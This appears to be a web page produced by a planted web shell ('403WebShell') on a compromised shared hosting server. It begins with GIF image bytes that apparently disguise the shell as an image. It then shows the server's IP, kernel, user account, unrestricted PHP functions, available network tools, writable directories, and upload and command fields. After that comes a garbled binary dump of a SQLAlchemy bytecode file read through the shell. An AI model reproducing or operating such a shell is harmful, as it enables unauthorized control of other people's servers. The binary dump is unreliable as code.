GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/hc_python/lib/python3.12/site-packages/sqlalchemy/orm/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/hc_python/lib/python3.12/site-packages/sqlalchemy/orm/__pycache__/unitofwork.cpython-312.pyc
�

q��g�i����dZddlmZddlmZddlmZddlmZddlmZddlmZdd	l	m
Z
dd
l	mZddl	m
Zdd
l	mZddl	m
Z
ddl
mZer$ddlmZddlmZddlmZddlmZddlmZddlmZd�ZGd�d�ZGd�d�ZGd�de�ZGd�d�Z Gd�dee �Z!Gd �d!e �Z"Gd"�d#e �Z#Gd$�d%e �Z$Gd&�d'e �Z%Gd(�d)e �Z&Gd*�d+e �Z'y,)-z�The internals for the unit of work system.

The session's flush() process passes objects to a contextual object
here, which assembles flush tasks based on mappers and their properties,
organizes them in order of dependency, and executes.

�)�annotations)�Any)�Dict)�Optional)�Set)�
TYPE_CHECKING���
attributes)�exc)�util�)�event)�topological)�DependencyProcessor)�MapperProperty)�Mapper)�Session)�SessionTransaction)�
InstanceStatec���|j��fd�}�fd�}�fd�}tj|d|dd��tj|d|ddd��tj|d	|ddd��tj|d
|ddd��y)z\Establish event listeners on object attributes which handle
    cascade-on-set/append.

    c�b��|�y|j}|r�|jr|jd�|jjj
�}t
j|�}|jjr1�|jk(r"|j|�s|j|�|S)Nzcollection append)
�session�_warn_on_events�_flush_warning�manager�mapper�_propsr�instance_state�_cascade�save_update�key�_contains_state�_save_or_update_state��state�item�	initiator�kw�sess�prop�
item_stater"s       ��J/opt/hc_python/lib64/python3.12/site-packages/sqlalchemy/orm/unitofwork.py�appendz$track_cascade_events.<locals>.append2s�����<���}�}����#�#��#�#�$7�8��=�=�'�'�.�.�s�3�D�#�2�2�4�8�J��
�
�)�)��I�M�M�)��,�,�Z�8��*�*�:�6���c���|�y|j}|jjj�}|r+|jr|j|jrdnd�|��|tjur�|tjurr|jjr[tj|�}|jj|�r*|r ||jvr|j|�yd|_yyyyyy)Nzcollection removezrelated attribute deleteT)rrrrrr�uselistr�	NEVER_SET�PASSIVE_NO_RESULTr �
delete_orphanr�
_is_orphan�_new�expunge�_orphaned_outside_of_sessionr%s       �r-�removez$track_cascade_events.<locals>.removeIs�����<���}�}���}�}�#�#�*�*�3�/���D�(�(�����<�<�$�/�
�
���J�0�0�0��J�8�8�8��
�
�+�+�$�2�2�4�8�J��{�{�%�%�j�1��J�$�)�)�3��L�L��&�?C�J�;�2�,�9�1�
r/c���||ur|S|j}|�r)|jr|jd�|jjj
�	}|�\t
j|�}|jjr1�	|jk(r"|j|�s|j|�|��|tjurw|tjure|jjrOt
j|�}||j vr,|jj#|�r|j%|�|S)Nzrelated attribute set)rrrrrrrrr r!r"r#r$r2r3r4r6r5r7)
r&�newvalue�oldvaluer(r)r*r+�newvalue_state�oldvalue_stater"s
         �r-�set_z"track_cascade_events.<locals>.set_ks����x���O��}�}����#�#��#�#�$;�<��=�=�'�'�.�.�s�3�D��#�!+�!:�!:�8�!D���M�M�-�-��	�
�
�-� �0�0��@��.�.�~�>��$��J�$8�$8�8��J�$@�$@�@��M�M�/�/�",�!:�!:�8�!D��!�T�Y�Y�.�4�;�;�3I�3I�"�4��L�L��*��r/�append_wo_mutationT)�raw�include_keyr.)rA�retvalrBr9�setN)r"r�listen)�
descriptorr+r.r9r?r"s     @r-�track_cascade_eventsrG+s����
�(�(�C��. C�D"�H
�L�L��(�&�d���
�L�L��H�f�$�t���
�L�L��H�f�$�t���
�L�L��E�4�T�$�D�r/c��eZdZUded<ded<ded<ded<d	ed
<dd�Zed��Zd
�Zd�Zd�Z	d�Z
ejfd�Z
d�Zd�Z					d													d d�Zd�Zd�Zej(d��Zd�Zd�Zd�Zd!d�Zd!d�Zy)"�UOWTransactionrrr�transactionzDict[str, Any]rz7util.defaultdict[Mapper[Any], Set[DependencyProcessor]]�depsz6util.defaultdict[Mapper[Any], Set[InstanceState[Any]]]�mappersc��||_i|_tjt�|_tjt�|_i|_i|_t	�|_	i|_
tjd��|_y)Nc�*�t�t�fS�N)rD�r/r-�<lambda>z)UOWTransaction.__init__.<locals>.<lambda>�s��C�E�3�5�>r/)rrr
�defaultdictrDrKrL�presort_actions�postsort_actions�dependencies�states�post_update_states)�selfrs  r-�__init__zUOWTransaction.__init__�sy���������$�$�S�)��	�
�'�'��,���
 "���
!#��� �E���
���#'�"2�"2�3I�"J��r/c�,�t|j�SrO)�boolrV�rXs r-�has_workzUOWTransaction.has_work�s���D�K�K� � r/c���|jr"	|j|tj�yy#tj
$r|jj|g�YywxYw)zZReturn ``True`` if the given state is expired and was deleted
        previously.
        TF)�expired�
_load_expiredr�PASSIVE_OFF�orm_exc�ObjectDeletedErrorr�_remove_newly_deleted�rXr&s  r-�was_already_deletedz"UOWTransaction.was_already_deleted�sY���=�=�
��#�#�E�:�+A�+A�B����-�-�
����2�2�E�7�;��
�s� 0�/A"�!A"c�F�||jvxr|j|dS)z[Return ``True`` if the given state is marked as deleted
        within this uowtransaction.r�rVres  r-�
is_deletedzUOWTransaction.is_deleted�s&������#�=����E�(:�1�(=�=r/c�l�||jvr|j|S|�x|j|<}|SrOr
)rXr"�	callable_�rets    r-�memozUOWTransaction.memo�s7���$�/�/�!��?�?�3�'�'�)2��4�D�O�O�C� �3��Jr/c�J�|j|d}|df|j|<y)z;Remove pending actions for a state from the uowtransaction.rTNrh)rXr&�isdeletes   r-�remove_state_actionsz#UOWTransaction.remove_state_actions�s*���;�;�u�%�a�(��&��-����E�r/c���d||f}||jvr�|j|\}}}|tjzs�|tjzr�|j|j}|j	||j
tjtjztjz�}|r|jr|j�}n|}|||f|j|<|S|j|j}|j	||j
|tjztjz�}|r|jr|j�}n|}|||f|j|<|S)zOFacade to attributes.get_state_history(), including
        caching of results.�history)r�SQL_OKr�impl�get_history�dictra�LOAD_AGAINST_COMMITTED�NO_RAISE�uses_objects�as_state)	rXr&r"�passive�hashkeyrr�
state_history�cached_passiverts	         r-�get_attribute_historyz$UOWTransaction.get_attribute_history�sm���e�S�)���d�o�o�%�59�_�_�W�5M�2�G�]�N�
#�Z�%6�%6�6��j�/�/�/��}�}�S�)�.�.���*�*���J�J��*�*� �7�7�8� �)�)�*����t�0�0�$+�$4�$4�$6�M�$+�M�,3�]�G�+L�����(�$��!�=�=��%�*�*�D��&�&���
�
���3�3�4��%�%�&��G��4�,�,� '� 0� 0� 2�
� '�
�(/���'H�D�O�O�G�$��r/c�"�|df|jvS)NT)rS)rX�	processors  r-�has_depzUOWTransaction.has_dep*s���4� �D�$8�$8�8�8r/c�\�||f}||jvrt||�|j|<yyrO)rS�
Preprocess)rXr��
fromparentr"s    r-�register_preprocessorz$UOWTransaction.register_preprocessor-s6���*�%���d�*�*�*�(2�9�j�(I�D� � ��%�+r/Nc	���|jj|�sA|js4|�2tjdtj|��d|�d|�d��y||jvre|jj}||jvr|j|�|j|j|�||f|j|<y|s|s|r|df|j|<y)NzObject of type z not in session, z operation along 'z' will not proceedFT)
rr#�deletedr
�warn�orm_util�state_class_strrVrrrL�_per_mapper_flush_actions�add)rXr&ro�listonly�
cancel_delete�	operationr+rs        r-�register_objectzUOWTransaction.register_object2s����|�|�+�+�E�2��=�=�Y�%:��	�	� �/�/��6�	�4�I��
�����#��]�]�)�)�F��T�\�\�)��.�.�v�6��L�L�� �$�$�U�+�"*�H�!5�D�K�K������]�&.��%6����E�"�r/c��|jjj}|j|\}}|j	|�|j|�yrO)rr�base_mapperrWr��update)rXr&�post_update_colsrrV�colss      r-�register_post_updatez#UOWTransaction.register_post_updateTsD�����%�%�1�1���.�.�v�6�����
�
�5�����$�%r/c�P�t||j�}t||j�}|jj	||f�|j
D]}|j
|��|jD],}|jr�|j}|j
|��.yrO)
�
SaveUpdateAllr��	DeleteAllrUr��_dependency_processors�per_property_preprocessors�
relationships�viewonly�_dependency_processor)rXr�saves�deletes�depr+s      r-r�z(UOWTransaction._per_mapper_flush_actionsZs����d�F�$6�$6�7���D�&�"4�"4�5�������u�g�.�/��0�0�C��*�*�4�0�1��(�(�D��}�}���,�,�C��*�*�4�0�	)r/c�.�tjd��S)areturn a dynamic mapping of (Mapper, DependencyProcessor) to
        True or False, indicating if the DependencyProcessor operates
        on objects of that Mapper.

        The result is stored in the dictionary persistently once
        calculated.

        c�v�|djj|dj�|djuS)Nrr	)r�getr"r+)�tups r-rQz0UOWTransaction._mapper_for_dep.<locals>.<lambda>ss,���A��
�
�)�)�#�a�&�*�*�5��Q����Dr/)r
�PopulateDictr\s r-�_mapper_for_depzUOWTransaction._mapper_for_dephs��� � �D�
�	
r/c�|�|j}|D�cgc] }||jj|fs�|��"c}Scc}w)zmFilter the given list of InstanceStates to those relevant to the
        given DependencyProcessor.

        )r�rr)rXr�rV�mapper_for_dep�ss     r-�filter_states_for_depz$UOWTransaction.filter_states_for_depvs=��
�-�-��!�M�6�a�^�Q�Y�Y�5E�5E�s�4K�%L��6�M�M��Ms� 9�9c#�K�||f}|jjD]-}|j|D]}|j||k(s�|����/y�wrO)r��self_and_descendantsrLrV)rXrror��checktupr&s      r-�states_for_mapper_hierarchyz*UOWTransaction.states_for_mapper_hierarchy~sO�����h�'���(�(�=�=�F����f�-���;�;�u�%��1��K�.�>�s�AA�	Ac	��	d}t|jj��D]}|j|�s�d}�|sn�Bt	j
|jt|jj���x|_}|�r1|D�cic]}|t|j|����}}t|j�D]�}d|vs/|djs |djs|j|�r|jj|��R|d|vrI|jj|�||dD]"}|jj||df��$��|d|vs��|jj|�||dD]"}|jj|d|f��$��|jj�D�chc]}|jr�|��c}j|�Scc}wcc}w)z}Generate the full, unsorted collection of PostSortRecs as
        well as dependency pairs for this UOWTransaction.

        TFNrr	)�listrS�values�executer�find_cyclesrUrT�cyclesrD�per_state_flush_actions�disabled�
issupersetr9r��
difference)	rXrl�actionr��rec�convert�edger��as	         r-�_generate_actionsz UOWTransaction._generate_actions�s�����C��t�3�3�:�:�<�=���>�>�$�'��C�>���
� +�6�6����t�D�$9�$9�$@�$@�$B�C� 
�	
���f��HN��GM���S��4�4�T�:�;�;�v�
���T�.�.�/���D�L��A�w�'�'��A�w�'�'��(�(��.��%�%�,�,�T�2��!�W��&��%�%�,�,�T�2�&�t�A�w�/���)�)�-�-�s�D��G�n�=� 0��!�W��&��%�%�,�,�T�2�&�t�A�w�/���)�)�-�-�t�A�w��n�=� 0�0�$�,�,�3�3�5�
�5�!�Q�Z�Z�A�5�
�
�*�V�
�	��1��0
s�"H�H	�.H	c�v�|j�}t|d���}|jrYtj|j
|�D]5}t
|�}|s�|j�}|j||�|r�%�7ytj|j
|�D]}|j|��y)Nc��|jSrO)�sort_key)r's r-rQz(UOWTransaction.execute.<locals>.<lambda>�s��T�]�]r/)r")r��sortedr�r�sort_as_subsetsrUrD�pop�execute_aggregate�sortr�)rXrT�subsetr?�nr�s      r-r�zUOWTransaction.execute�s����1�1�3��!��*�
���;�;�%�5�5��!�!�#3����6�{������
�A��'�'��d�3��	�#�'�'��(9�(9�;K�L�����D�!�Mr/c�V�|jsyt|j�}|jj�D���chc]
\}\}}|s�|��}}}}|j|�}|r|jj|�|r|jj
|�yycc}}}w)z�Mark processed objects as clean / deleted after a successful
        flush().

        This method is called within the flush() method after the
        execute() method has succeeded and the transaction has been committed.

        N)rVrD�itemsr�rrd�_register_persistent)rXrVr�ror��isdel�others       r-�finalize_flush_changesz%UOWTransaction.finalize_flush_changes�s����{�{���T�[�[�!��/3�{�{�/@�/@�/B�
�/B�+�1�*�x��h�A�/B�	�
��!�!�%�(����L�L�.�.�u�5���L�L�-�-�e�4���

s�
B$�B$)rr)FFFNN)r&zInstanceState[Any]ror[r�r[r�r[r�z
Optional[str]r+zOptional[MapperProperty]�returnr[)r��None)�__name__�
__module__�__qualname__�__annotations__rY�propertyr]rfrirmrpr�PASSIVE_NO_INITIALIZErr�r�r�r�r�r
�memoized_propertyr�r�r�r�r�r�rPr/r-rIrI�s��
��#�#���
A�A�
C�C�+K�Z�!��!�
�>��.�#-�"B�"B�3�j9�J���#�#'�)-� �!� �� ��	 �
� �!�
 �'� �
� �D&�1�
���
��
�N� �2�h"�65r/rIc��eZdZdZd�Zy)�IterateMappersMixinrPc������jr3t��fd��jjjD��S�jj
jS)Nc3�X�K�|]!}�j|�jfr|���#y�wrO)r��dependency_processor)�.0�mrX�uows  ��r-�	<genexpr>z/IterateMappersMixin._mappers.<locals>.<genexpr>�s2������N�A��&�&��4�+D�+D�'E�F��N�s�'*)r��iterr��parentr�r�rXr�s``r-�_mapperszIterateMappersMixin._mappers�sP����?�?����2�2�9�9�N�N���
��,�,�3�3�H�H�Hr/N)r�r�r��	__slots__r�rPr/r-r�r��s
���I�Ir/r�c��eZdZdZd�Zd�Zy)r�)r�r��	processed�setup_flush_actionsc�L�||_||_t�|_d|_y�NF)r�r�rDr�r�)rXr�r�s   r-rYzPreprocess.__init__s"��$8��!�$�������#(�� r/c���t�}t�}|j|�D]i}|j|j|j�D]<}|j
|\}}|r�|r|j
|��,|j
|��>�k|r7|jj||�|jj|�|r7|jj||�|jj|�|s|ri|js\|jj||d�s|jj||d�r"|jj|�d|_yy�NTF)rDr�rLr�r�rVr�r��presort_deletesr��
presort_savesr��prop_has_changes�per_property_flush_actions)rXr��
delete_states�save_statesrr&ror�s        r-r�zPreprocess.executes;����
��e���m�m�C�(�F����V�,�7�7����G��'*�z�z�%�'8�$��8���%�)�)�%�0�#����.�
H�)���%�%�5�5�c�=�I��N�N�!�!�-�0���%�%�3�3�C��E��N�N�!�!�+�.��K��+�+��)�)�:�:������,�,�=�=���e���)�)�D�D�S�I�+/��(��r/N)r�r�r�r�rYr�rPr/r-r�r��s���I�)�!r/r�c��eZdZdZd�Zd�Zy)�PostSortRec)r�c��|f|z}||jvr|j|Stj|�x|j|<}d|_|Sr�)rT�object�__new__r�)�clsr��argsr"rls     r-r�zPostSortRec.__new__-sV���f�t�m���#�&�&�&��'�'��,�,�.4�n�n�S�.A�A�C� � ��%�� �C�L��Jr/c�&�|j|�yrO)r�)rXr��recss   r-r�zPostSortRec.execute_aggregate6s�����S�r/N)r�r�r�r�r�r�rPr/r-r�r�*s���I��r/r�c�.�eZdZdZd�Zd�Zd�Zd�Zd�Zy)�
ProcessAll)r�ror�r�c���||_d|jj|f|_||_||_|j|j
jj|�y)Nr�)r�r�ror�rKr�r�r�)rXr�r�ror�s     r-rYzProcessAll.__init__=s_��$8��!���%�%�.�.��
��
�
!��
�$������%�,�,�8�8�9�=�=� �	
r/c��|j|�}|jr|jj||�y|jj	||�yrO)�	_elementsror��process_deletes�
process_saves)rXr�rVs   r-r�zProcessAll.executeJsC������$���=�=��%�%�5�5�c�6�B��%�%�3�3�C��@r/c��tg�SrO)r�r�s  r-r�z"ProcessAll.per_state_flush_actionsQs
��
�B�x�r/c�h�|jj�d|j�d|j�d�S)N�(z, isdelete=�))�	__class__r�r�ror\s r-�__repr__zProcessAll.__repr__Xs)���N�N�#�#��%�%��M�M�
�	
r/c#�K�|j|�D]?}|j|D]+}|j|\}}||jk(s�%|r�(|���-�Ay�wrO)r�rLrVro)rXr�rr&ror�s      r-rzProcessAll._elements_sR�����m�m�C�(�F����V�,��'*�z�z�%�'8�$��8��t�}�}�,�X��K�-�)�s�AA�A�	AN)	r�r�r�r�rYr�r�r
rrPr/r-r�r�:s!��L�I�
�A��
� r/r�c�F�eZdZdZd�Zejd�d��Zy)�
PostUpdateAll)rror�c�H�||_||_d|j|f|_y)Nr
)rro�	_sort_keyr�)rXr�rros    r-rYzPostUpdateAll.__init__js$����� ��
�(�&�*:�*:�H�E��
r/�sqlalchemy.orm.persistencec��tjj}|j|j\}}|D�cgc]$}|j
|d|jk(s�#|��&}}|j|j|||�ycc}w�Nr)r
�	preloaded�orm_persistencerWrrVro�post_update)rXr��persistencerVr�r�s      r-r�zPostUpdateAll.executeoss���n�n�4�4���-�-�d�k�k�:����#�I�V��s�z�z�!�}�Q�'7�4�=�=�'H�!�V��I�������V�S�$�?��Js�$B� BN)r�r�r�r�rYr
�preload_moduler�rPr/r-r
r
gs1��0�I�F�
�T���5�6�@�7�@r/r
c�R�eZdZdZd�Zejd�d��Zd�Zd�Z	y)r��rr�c�X�||_d|jf|_||jusJ�y)Nr��rrr�r��rXr�rs   r-rYzSaveUpdateAll.__init__{s/�����(�&�*:�*:�;��
���+�+�+�+�+r/rc��tjjj|j|j|jdd�|�yr�)r
rr�save_objrr�r�s  r-r�zSaveUpdateAll.execute�s:�����&�&�/�/��K�K��+�+�D�K�K���F��	
r/c#�K�t|j|jdd��}|jj}t	||�}|D]/}t||�}|jj||f�|���1|j|jD]'}|j||�}|j||d��)y�wr�)r�r�rr�r��SaveUpdateStaterUr�rKr�r�)	rXr�rVr��
delete_allr&r�r��states_for_props	         r-r�z%SaveUpdateAll.per_state_flush_actions�s�������+�+�D�K�K���F�
���k�k�-�-���s�K�0�
��E�%�S�%�0�F���� � �&�*�!5�6��L���8�8�D�K�K�(�C�!�7�7��V�D�O��'�'��_�e�D�)���CCc�N�|jj�d|j�d�S�Nrr�r	r�rr\s r-r
zSaveUpdateAll.__repr__�����>�>�2�2�D�K�K�@�@r/N�
r�r�r�r�rYr
rr�r�r
rPr/r-r�r�xs:��&�I�,�
�T���5�6�
�7�
�E�"Ar/r�c�R�eZdZdZd�Zejd�d��Zd�Zd�Z	y)r�rc�X�||_d|jf|_||jusJ�y)Nr�rrs   r-rYzDeleteAll.__init__�s/�����$�f�&6�&6�7��
���+�+�+�+�+r/rc��tjjj|j|j|jdd�|�yr�)r
rr�
delete_objrr�r�s  r-r�zDeleteAll.execute�s:�����&�&�1�1��K�K��+�+�D�K�K��u�E��	
r/c#�K�t|j|jdd��}|jj}t	||�}|D]/}t||�}|jj||f�|���1|j|jD]'}|j||�}|j||d��)y�wr�)r�r�rr�r��DeleteStaterUr�rKr�r�)	rXr�rVr��save_allr&r�r�r"s	         r-r�z!DeleteAll.per_state_flush_actions�s�������+�+�D�K�K��u�E�
���k�k�-�-�� ��k�2���E�!��e�,�F���� � �(�F�!3�4��L���8�8�D�K�K�(�C�!�7�7��V�D�O��'�'��_�d�C�)�r#c�N�|jj�d|j�d�Sr%r&r\s r-r
zDeleteAll.__repr__�r'r/Nr(rPr/r-r�r��s:��&�I�,�
�T���5�6�
�7�
